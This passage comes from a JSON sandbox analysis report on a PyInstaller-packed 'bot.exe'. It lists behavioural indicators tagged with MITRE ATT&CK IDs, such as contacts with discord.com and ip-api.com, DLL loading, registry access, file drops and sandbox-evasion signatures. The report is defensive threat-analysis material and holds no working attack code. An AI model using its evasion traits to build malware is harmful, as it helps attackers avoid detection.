\"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00002724)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$43","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$44","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"discord.com\"\n \"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"162.159.137.232:443\"\n \"208.95.112.1:80\"\n \"99.84.160.115:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"\"Insert an entry into the list of warnings filters (at the front).\" (Source: 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp, 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp, 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp, 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp, Indicator: \"insert an entry into the list of warnings filters (at the front).\")","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"bot.exe\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to dynamically determine API calls","description":"Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudio64bit-asio.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudioarm64-asio.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudio64bit.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudioarm64.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudio32bit-asio.dll)\n Found GetProcAddress() and LoadLibraryA() in an import section (Source: libportaudio32bit.dll)","origin":"Static Parser","mitre_attack_id":"T1027.007","relevance":1,"id":"static-79","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"Found string \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"\\system32\\cmd.exe /c \"; Source: \"00000000-00002724-00000C47-5491750921\")\n Found string \"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00002724-00000C47-5491750921\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-174","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"level":"informative","category":"General","name":"Contains export functions","description":"$45","origin":"Static Parser","relevance":1,"id":"static-78","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\LanguageOverlay\" in Source: 00000000-00001324.00000001.171708.50BE3000.00000004.mdmp\n 00000000-00001324.00000003.176692.50BD9000.00000004.mdmp\n \"Software\\Python\\PythonCore\\{sys_version}\\Modules\\{fullname}\" in Source: 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp\n 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp\n 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp\n 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp\n \"Software\\Python\\PythonCore\\{sys_version}\\Modules\\{fullname}\\Debug\" in Source: 00000000-00002724.00000000.171515.F6FF0000.00000004.mdmp\n 00000000-00002724.00000001.173435.F6FF0000.00000004.mdmp\n 00000000-00002724.00000002.175358.F6FF0000.00000004.mdmp\n 00000000-00002724.00000003.176644.F6FF0000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$46","origin":"Created Mutant","mitre_attack_id":"T1480.002","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"$47","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"File contains dynamic base/NX flags","description":"$48","origin":"Static Parser","id":"static-154","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"l@lal0l3l4lbl.ldlelgl\"\n Pattern match: \"mal@lemburg.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$49","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Found well known domains (string)","description":"\"https://github.com/mhammond/pywin32\" (Indicator: \"github.com\")\n \"https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688\" (Indicator: \"github.com\")\n \"https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py#L24-L25\" (Indicator: \"github.com\")\n \"https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#L81-L97\" (Indicator: \"github.com\")\n \"https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/readers.py#L11\" (Indicator: \"github.com\")\n \"https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L422\" (Indicator: \"github.com\")\n \"https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py#L312\" (Indicator: \"github.com\")","origin":"File/Memory","relevance":1,"id":"string-135","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"GETs files from a web server (PE files)","description":"$4a","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Launches a browser","description":"Launches browser \"msedge.exe\" (UID: 00000000-00007236)\n Launches browser \"msedge.exe\" (UID: 00000000-00003176)\n Launches browser \"msedge.exe\" (UID: 00000000-00003080)\n Launches browser \"msedge.exe\" (UID: 00000000-00007908)\n Launches browser \"msedge.exe\" (UID: 00000000-00001912)\n Launches browser \"msedge.exe\" (UID: 00000000-00004516)\n Launches browser \"msedge.exe\" (UID: 00000000-00002608)","origin":"Monitored Target","relevance":3,"id":"target-21","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$4b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"bot.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at C8310000","origin":"Loaded Module","mitre_attack_id":"T1685","id":"module-8","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"bot.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D7920000\n \"bot.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at D71E0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at D7920000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"bot.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D9760000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at D9760000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000060a35cd7fe7f0000@ntdll.dll\"\n \"220023000000000038a35cd7fe7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"$4c","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"bot.exe\" touched \"WBEM Locator\" (Path: \"HKCU\\CLSID\\{4590F811-1D3A-11D0-891F-00AA004B2E24}\")\n \"bot.exe\" touched \"Windows Management and Instrumentation\" (Path: \"HKCU\\CLSID\\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\\TREATAS\")\n \"bot.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCU\\CLSID\\{7C857801-7381-11CF-884D-00AA004B2E24}\\TREATAS\")\n \"bot.exe\" touched \"Microsoft WBEM (non)Standard Marshaling for IWbemServices\" (Path: \"HKCU\\CLSID\\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\\TREATAS\")","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file contains Debug data directory","description":"$4d","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"bot.exe\" has an executable section named \".text\"\n \"libssl-3.dll\" has an executable section named \".text\"\n \"python314.dll\" has an executable section named \".text\"\n \"msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll\" has an executable section named \".text\"\n \"libportaudio64bit-asio.dll\" has an executable section named \".text\"\n \"libportaudioarm64-asio.dll\" has an executable section named \".text\"\n \"libportaudio64bit.dll\" has an executable section named \".text\"\n \"libportaudioarm64.dll\" has an executable section named \".text\"\n \"libportaudio32bit-asio.dll\" has an executable section named \".text\"\n \"libportaudio32bit.dll\" has an executable section named \".text\"\n \"VCRUNTIME140.dll\" has an executable section named \".text\"\n \"VCRUNTIME140.dll\" has an executable section named \"fothk\"\n \"VCRUNTIME140_1.dll\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"libcrypto-3.dll\" : \"547\" [Source: libssl-3.dll]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$4e","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$4f","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0x325c00\" greater than 0x100000\n Raw size of \".rdata\" is \"0x288800\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0x325b84\" greater than 0x100000\n Virtual size of \".rdata\" is \"0x28868c\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"$50","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\System32\\cmd.exe\" [Source: 00000000-00002724-00000BC0-838312517]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe\" [Source: 00000000-00002724-00000C47-5491750921]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"ver\"\" [Source: 00000000-00002724-00000C47-5491750921]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$51","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"discord.com\"\n \"ip-api.com\"\n \"sb.scorecardresearch.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"bot.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$52","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$54","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"libportaudio32bit-asio.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE\n \"libportaudio32bit.dll\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"bot.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI0000052c2\\PIL\\_avif.cp314-win_amd64.pyd\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"bot.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$55","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a license file","description":"\"LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\_MEI0000052c2\\numpy-2.5.4.dist-info\\licenses\\LICENSE.txt]- [targetUID: 00000000-00001324]\n \"LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\_MEI0000052c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\linalg\\lapack_lite\\LICENSE.txt]- [targetUID: 00000000-00001324]\n \"dragon4_LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\_MEI0000052c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\_core\\src\\multiarray\\dragon4_LICENSE.txt]- [targetUID: 00000000-00001324]\n \"LICENSE.txt\" has type \"Unknown\"- Location: [%TEMP%\\_MEI0000052c2\\numpy-2.5.4.dist-info\\licenses\\numpy\\_core\\include\\numpy\\libdivide\\LICENSE.txt]- [targetUID: 00000000-00001324]","origin":"Binary File","mitre_attack_id":"T1083","relevance":1,"id":"binary-50","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$56","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"$57","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"PyInstaller file activity detected","description":"\"bot.exe\" writes file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI0000052c2\\PIL\\_avif.cp314-win_amd64.pyd\"","origin":"API Call","mitre_attack_id":"T1059.006","relevance":1,"id":"api-211","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"bot.exe\" queries basic process information of the \"C:\\bot.exe\" (UID: 1324)\n \"bot.exe\" queries basic process information of the \"C:\\bot.exe\" (UID: 2724)\n \"bot.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 2724)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\System32\\cmd.exe\" (UID: 7752)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$58","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"bot.exe\" reads file \"c:\\bot.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Reference to an external IP address lookup service identified\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect presence of virtual environment (API string)\n Matched sigs: Able to retrieve information set for devices (API string)\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Triggers a burst of requests to the same API (API Hammering)\n Matched sigs: Attempts to identify external IP address\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"bot.exe\" trying to touch file \"C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.6456_none_60b8a6cb71f64256\\comctl32.dll\"\n \"bot.exe\" trying to touch file \"C:\\WINDOWS\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.6456_none_60b8a6cb71f64256\\COMCTL32.dll\"\n \"bot.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"bot.exe\" trying to touch file \"C:\\WINDOWS\\system32\\IMM32.DLL\"\n \"bot.exe\" trying to touch file \"C:\\Windows\\WindowsShell.Manifest\"\n \"bot.exe\" trying to touch file \"\\Device\\KsecDD\"\n \"bot.exe\" trying to touch file \"C:\\windows\\temp\\VxSSL64.dll\"\n \"bot.exe\" trying to 